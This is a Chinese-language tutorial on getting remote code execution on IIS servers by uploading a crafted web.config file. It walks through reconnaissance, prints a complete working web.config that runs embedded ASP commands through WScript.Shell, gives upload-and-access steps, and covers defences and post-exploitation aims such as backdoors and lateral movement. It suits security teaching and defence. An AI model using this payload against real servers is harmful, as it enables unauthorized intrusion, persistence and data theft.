奇技淫巧 | 上传web.config文件获取远程代码执行权限
字数 1273 2025-08-18 11:37:20

利用web.config文件实现远程代码执行权限获取的教学文档

1. 漏洞背景与原理

1.1 web.config文件简介

  • web.config是ASP.NET Web应用程序的XML配置文件
  • 功能:存储应用程序配置信息(身份验证方式、数据库连接字符串、错误处理等)
  • 特点:
    • 可出现在应用程序的每个目录中
    • 子目录继承父目录配置,也可通过自己的web.config覆盖父配置
    • 放置在根目录下影响整个网站,放置在其他目录下仅影响当前目录

1.2 漏洞成因

  • 网站上传功能未严格限制web.config文件上传
  • 上传的web.config文件可配置IIS处理程序
  • 通过特殊配置可使.config文件被当作ASP脚本解析执行

2. 前期侦察

2.1 服务器信息收集

  • 探测方法:在URL中添加特殊字符如/<>测试
  • 预期响应:ASP.NET默认会返回XSS过滤错误
  • 关键信息获取:
    • ASP.NET版本
    • 服务器头信息(如Server: Microsoft-IIS/8.5

2.2 上传功能测试

  • 测试上传不同后缀文件:
    • .aspx
    • .asp
    • .asmx
  • 观察服务器返回的错误信息,了解上传限制机制

3. 漏洞利用步骤

3.1 构造恶意web.config文件

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" 
           scriptProcessor="%windir%\system32\inetsrv\asp.dll" 
           resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
  <appSettings></appSettings>
</configuration>
<!--<% 
Response.write("</p><pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><p>")
%>

3.2 关键配置解析

  1. handlers配置

    • 添加一个处理程序,使.config文件由asp.dll处理
    • accessPolicy="Read, Script, Write":赋予读写和执行权限
    • scriptProcessor指向ASP脚本处理器路径
  2. requestFiltering配置

    • 移除对.config扩展名的过滤
    • 移除对web.config隐藏段的保护
  3. ASP脚本部分

    • 使用<% %>包含ASP代码
    • 通过WScript.Shell执行系统命令
    • 示例中执行whoami获取当前用户权限

3.3 上传与执行

  1. 将构造好的web.config文件上传至目标服务器
  2. 直接访问上传的web.config文件URL
  3. 服务器会解析并执行其中的ASP代码
  4. 命令执行结果会返回在响应中

4. 防御措施

4.1 上传限制

  • 严格限制上传文件类型,禁止上传web.config
  • 使用白名单机制而非黑名单
  • 检查文件内容而不仅是扩展名

4.2 服务器配置

  • 保持IIS和ASP.NET更新至最新版本
  • 配置requestFiltering严格限制.config文件访问
  • 设置适当的文件夹权限,限制上传目录的执行权限

4.3 其他措施

  • 定期安全审计,检查服务器上的异常配置文件
  • 实施WAF规则阻止此类攻击
  • 最小权限原则运行Web应用程序

5. 扩展利用

成功利用此漏洞后,攻击者可:

  1. 执行任意系统命令
  2. 上传更多恶意文件建立持久后门
  3. 进行内网横向移动(若服务器权限足够高)
  4. 窃取敏感数据或破坏系统

6. 注意事项

  1. 此技术仅用于授权测试,未经授权使用属违法行为
  2. 实际环境中可能需要根据目标服务器调整配置
  3. 某些现代IIS版本可能已默认防范此类攻击
  4. 测试后应及时提交详细报告并协助修复
利用web.config文件实现远程代码执行权限获取的教学文档 1. 漏洞背景与原理 1.1 web.config文件简介 web.config是ASP.NET Web应用程序的XML配置文件 功能:存储应用程序配置信息(身份验证方式、数据库连接字符串、错误处理等) 特点: 可出现在应用程序的每个目录中 子目录继承父目录配置,也可通过自己的web.config覆盖父配置 放置在根目录下影响整个网站,放置在其他目录下仅影响当前目录 1.2 漏洞成因 网站上传功能未严格限制web.config文件上传 上传的web.config文件可配置IIS处理程序 通过特殊配置可使.config文件被当作ASP脚本解析执行 2. 前期侦察 2.1 服务器信息收集 探测方法:在URL中添加特殊字符如 /<> 测试 预期响应:ASP.NET默认会返回XSS过滤错误 关键信息获取: ASP.NET版本 服务器头信息(如 Server: Microsoft-IIS/8.5 ) 2.2 上传功能测试 测试上传不同后缀文件: .aspx .asp .asmx 观察服务器返回的错误信息,了解上传限制机制 3. 漏洞利用步骤 3.1 构造恶意web.config文件 3.2 关键配置解析 handlers配置 : 添加一个处理程序,使 .config 文件由 asp.dll 处理 accessPolicy="Read, Script, Write" :赋予读写和执行权限 scriptProcessor 指向ASP脚本处理器路径 requestFiltering配置 : 移除对 .config 扩展名的过滤 移除对 web.config 隐藏段的保护 ASP脚本部分 : 使用 <% %> 包含ASP代码 通过 WScript.Shell 执行系统命令 示例中执行 whoami 获取当前用户权限 3.3 上传与执行 将构造好的web.config文件上传至目标服务器 直接访问上传的web.config文件URL 服务器会解析并执行其中的ASP代码 命令执行结果会返回在响应中 4. 防御措施 4.1 上传限制 严格限制上传文件类型,禁止上传web.config 使用白名单机制而非黑名单 检查文件内容而不仅是扩展名 4.2 服务器配置 保持IIS和ASP.NET更新至最新版本 配置requestFiltering严格限制.config文件访问 设置适当的文件夹权限,限制上传目录的执行权限 4.3 其他措施 定期安全审计,检查服务器上的异常配置文件 实施WAF规则阻止此类攻击 最小权限原则运行Web应用程序 5. 扩展利用 成功利用此漏洞后,攻击者可: 执行任意系统命令 上传更多恶意文件建立持久后门 进行内网横向移动(若服务器权限足够高) 窃取敏感数据或破坏系统 6. 注意事项 此技术仅用于授权测试,未经授权使用属违法行为 实际环境中可能需要根据目标服务器调整配置 某些现代IIS版本可能已默认防范此类攻击 测试后应及时提交详细报告并协助修复